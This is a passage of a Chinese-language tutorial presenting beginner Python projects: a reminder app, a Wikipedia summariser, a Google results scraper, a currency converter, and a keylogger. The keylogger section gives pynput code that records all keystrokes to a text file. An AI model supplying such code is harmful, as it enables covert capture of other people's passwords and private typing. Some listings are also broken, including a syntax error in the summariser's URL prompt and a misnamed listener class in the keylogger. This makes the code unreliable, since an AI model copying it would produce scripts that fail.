⑯ 提醒应用

目的：创建一个提醒应用程序，在特定的时间提醒你做一些事情 (桌面通知)。

提示：Time 模块可以用来跟踪提醒时间，toastnotifier 库可以用来显示桌面通知。

安装：win10toast

from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
    print("Title of reminder")
    header = input()
    print("Message of reminder")
    text = input()
    print("In how many minutes?")
    time_min = input()
    time_min=float(time_min)
except:
    header = input("Title of reminder\n")
    text = input("Message of remindar\n")
    time_min=float(input("In how many minutes?\n"))
time_min = time_min * 60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}",
f"{text}",
duration=10,
threaded=True)
while toaster.notification_active(): time.sleep(0.005)     

⑰ 维基百科文章摘要

目的：使用一种简单的方法从用户提供的文章链接中生成摘要。

提示：你可以使用爬虫获取文章数据，通过提取生成摘要。

from bs4 import BeautifulSoup
import re
import requests
import heapq
from nltk.tokenize import sent_tokenize,word_tokenize
from nltk.corpus import stopwords

url = str(input("Paste the url"\n"))
num = int(input("Enter the Number of Sentence you want in the summary"))
num = int(num)
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
#url = str(input("Paste the url......."))
res = requests.get(url,headers=headers)
summary = ""
soup = BeautifulSoup(res.text,'html.parser') 
content = soup.findAll("p")
for text in content:
    summary +=text.text 
def clean(text):
    text = re.sub(r"\[[0-9]*\]"," ",text)
    text = text.lower()
    text = re.sub(r'\s+'," ",text)
    text = re.sub(r","," ",text)
    return text
summary = clean(summary)

print("Getting the data......\n")


##Tokenixing
sent_tokens = sent_tokenize(summary)

summary = re.sub(r"[^a-zA-z]"," ",summary)
word_tokens = word_tokenize(summary)
## Removing Stop words

word_frequency = {}
stopwords =  set(stopwords.words("english"))

for word in word_tokens:
    if word not in stopwords:
        if word not in word_frequency.keys():
            word_frequency[word]=1
        else:
            word_frequency[word] +=1
maximum_frequency = max(word_frequency.values())
print(maximum_frequency)          
for word in word_frequency.keys():
    word_frequency[word] = (word_frequency[word]/maximum_frequency)
print(word_frequency)
sentences_score = {}
for sentence in sent_tokens:
    for word in word_tokenize(sentence):
        if word in word_frequency.keys():
            if (len(sentence.split(" "))) <30:
                if sentence not in sentences_score.keys():
                    sentences_score[sentence] = word_frequency[word]
                else:
                    sentences_score[sentence] += word_frequency[word]

print(max(sentences_score.values()))
def get_key(val): 
    for key, value in sentences_score.items(): 
        if val == value: 
            return key 
key = get_key(max(sentences_score.values()))
print(key+"\n")
print(sentences_score)
summary = heapq.nlargest(num,sentences_score,key=sentences_score.get)
print(" ".join(summary))
summary = " ".join(summary)

⑱ 获取谷歌搜索结果

目的：创建一个脚本，可以根据查询条件从谷歌搜索获取数据。

from bs4 import BeautifulSoup 
import requests

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
def google(query):
    query = query.replace(" ","+")
    try:
        url = f'https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8'
        res = requests.get(url,headers=headers)
        soup = BeautifulSoup(res.text,'html.parser')
    except:
        print("Make sure you have a internet connection")
    try:
        try:
            ans = soup.select('.RqBzHd')[0].getText().strip()

        except:
            try:
                title=soup.select('.AZCkJd')[0].getText().strip()
                try:
                    ans=soup.select('.e24Kjd')[0].getText().strip()
                except:
                    ans=""
                ans=f'{title}\n{ans}'

            except:
                try:
                    ans=soup.select('.hgKElc')[0].getText().strip()
                except:
                    ans=soup.select('.kno-rdesc span')[0].getText().strip()

    except:
        ans = "can't find on google"
    return ans

result = google(str(input("Query\n")))
print(result)

获取结果如下。

⑲ 货币换算器

目的：编写一个 Python 脚本，可以将一种货币转换为其他用户选择的货币。

提示：使用 Python 中的 API，或者通过 forex-python 模块来获取实时的货币汇率。

安装：forex-python

⑳ 键盘记录器

目的：编写一个 Python 脚本，将用户按下的所有键保存在一个文本文件中。

提示：pynput 是 Python 中的一个库，用于控制键盘和鼠标的移动，它也可以用于制作键盘记录器。简单地读取用户按下的键，并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()


keys=[]
def on_press(key):
    global keys
    #keys.append(str(key).replace("'",""))
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []     
def on_release(key):
    if key == Key.esc:
        return False

with listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()